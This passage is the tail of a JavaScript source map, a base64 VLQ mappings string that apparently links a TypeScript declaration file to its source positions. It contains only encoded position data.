OAEG;WACU,oBAAoB,CAAC,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,GAAG,OAAO,CAAC,MAAM,OAAO,CAAC,IAAI,CAAC,CAAC;IAgBlG;;OAEG;WACU,gBAAgB,CAC3B,OAAO,GAAE,mBAAwB,GAChC,OAAO,CAAC;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAA;KAAE,CAAC;IAyBhE;;OAEG;mBACkB,aAAa;IAuDlC;;OAEG;mBACkB,2BAA2B;IAmFhD;;OAEG;mBACkB,wBAAwB;IA0D7C;;OAEG;mBACkB,2BAA2B;IAuDhD;;OAEG;mBACkB,sBAAsB;IAkD3C;;OAEG;mBACkB,mBAAmB;IAsCxC;;OAEG;mBACkB,4BAA4B;IAmDjD;;OAEG;WACU,gBAAgB,CAC3B,SAAS,EAAE,CAAC,KAAK,EAAE,MAAM,KAAK,OAAO,CAAC,OAAO,CAAC,EAC9C,UAAU,EAAE,MAAM,EAClB,aAAa,EAAE,MAAM,EAAE,GACtB,OAAO,CAAC,IAAI,CAAC;CAoBjB;AAED;;GAEG;AACH,qBAAa,uBAAuB;IAClC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAS;IAEjC,MAAM,CAAC,KAAK,IAAI,IAAI;IAIpB,MAAM,CAAC,UAAU,CAAC,QAAQ,EAAE,MAAM,GAAG,IAAI;CAM1C"}